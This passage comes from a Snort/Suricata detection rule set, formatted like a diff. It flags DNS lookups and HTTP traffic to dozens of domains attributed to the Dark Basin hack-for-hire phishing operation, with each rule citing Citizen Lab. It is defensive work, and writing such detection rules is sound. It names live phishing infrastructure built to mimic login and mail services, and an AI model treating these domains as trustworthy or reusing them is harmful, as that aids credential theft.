content:"|11|checkmailserverhk|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354752; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: checkmailserverhk.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"checkmailserverhk.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])checkmailserverhk\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354753; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: chromeperfection.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|chromeperfection|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356851; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: chromeperfection.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|chromeperfection|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356852; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: chromeperfection.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"chromeperfection.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])chromeperfection\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356853; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: com-ar-en-us.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|com-ar-en-us|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357541; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: com-ar-en-us.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|com-ar-en-us|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357542; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: com-ar-en-us.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"com-ar-en-us.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])com\-ar\-en\-us\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357543; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: com-authmail.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|com-authmail|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355151; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: com-authmail.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|com-authmail|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355152; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: com-authmail.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"com-authmail.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])com\-authmail\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355153; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: com-biz.website"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|07|com-biz|07|website|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357601; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: com-biz.website"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|07|com-biz|07|website|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357602; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: com-biz.website"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"com-biz.website"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])com\-biz\.website[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357603; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: com-com-us.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0a|com-com-us|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357611; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: com-com-us.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0a|com-com-us|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357612; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: com-com-us.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"com-com-us.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])com\-com\-us\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357613; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: com-com.website"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|07|com-com|07|website|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357621; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: com-com.website"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|07|com-com|07|website|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357622; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: com-com.website"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"com-com.website"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])com\-com\.website[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357623; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: com-en-us.co.uk"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|09|com-en-us|02|co|02|uk|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357521; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: com-en-us.co.uk"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|09|com-en-us|02|co|02|uk|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357522; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: com-en-us.co.uk"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"com-en-us.co.uk"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])com\-en\-us\.co\.uk[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357523; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: com-er-en-us.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|com-er-en-us|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357531; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: com-er-en-us.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|com-er-en-us|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357532; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: com-er-en-us.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"com-er-en-us.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])com\-er\-en\-us\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357533; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: com-hl-en-us.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|com-hl-en-us|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357631; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: com-hl-en-us.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|com-hl-en-us|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357632; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: com-hl-en-us.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"com-hl-en-us.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])com\-hl\-en\-us\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357633; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: com-io-en-us.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|com-io-en-us|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357481; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: com-io-en-us.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|com-io-en-us|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357482; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: com-io-en-us.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"com-io-en-us.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])com\-io\-en\-us\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357483; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: com-mail-us.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0b|com-mail-us|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357641; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: com-mail-us.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0b|com-mail-us|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357642; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: com-mail-us.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"com-mail-us.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])com\-mail\-us\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357643; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: com-mail.net"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|08|com-mail|03|net|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357651; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: com-mail.net"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|08|com-mail|03|net|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357652; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: com-mail.net"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"com-mail.net"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])com\-mail\.net[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357653; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: com-nh-en-us.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|com-nh-en-us|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357471; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: com-nh-en-us.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|com-nh-en-us|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357472; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: com-nh-en-us.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"com-nh-en-us.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])com\-nh\-en\-us\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357473; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: com-oa-en-us.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|com-oa-en-us|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357451; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: com-oa-en-us.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|com-oa-en-us|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357452; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: com-oa-en-us.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"com-oa-en-us.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])com\-oa\-en\-us\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357453; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: com-us-en-us.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|com-us-en-us|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357661; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: com-us-en-us.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|com-us-en-us|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357662; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: com-us-en-us.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"com-us-en-us.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])com\-us\-en\-us\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357663; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: com-website33.biz"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|com-website33|03|biz|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353891; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: com-website33.biz"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|com-website33|03|biz|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353892; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: com-website33.biz"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"com-website33.biz"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])com\-website33\.biz[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353893; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: com-website33.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|com-website33|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353901; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: com-website33.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|com-website33|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353902; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: com-website33.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"com-website33.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])com\-website33\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353903; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: com-website33.info"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|com-website33|04|info|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353911; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: com-website33.info"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|com-website33|04|info|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353912; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: com-website33.info"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"com-website33.info"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])com\-website33\.info[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353913; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: com-website33.net"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|com-website33|03|net|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353881; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: com-website33.net"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|com-website33|03|net|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353882; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: com-website33.net"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"com-website33.net"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])com\-website33\.net[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353883; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: com-website33.org"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|com-website33|03|org|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353921; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: com-website33.org"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|com-website33|03|org|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353922; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: com-website33.org"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"com-website33.org"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])com\-website33\.org[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353923; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: comservicelogin.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|comservicelogin|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353681; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: comservicelogin.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|comservicelogin|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353682; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: comservicelogin.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"comservicelogin.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])comservicelogin\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353683; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: corn-en-gb.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0a|corn-en-gb|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353711; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: corn-en-gb.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0a|corn-en-gb|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353712; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: corn-en-gb.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"corn-en-gb.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])corn\-en\-gb\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353713; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: corn-en-us.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0a|corn-en-us|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353701; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: corn-en-us.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0a|corn-en-us|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353702; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: corn-en-us.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"corn-en-us.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])corn\-en\-us\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353703; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp 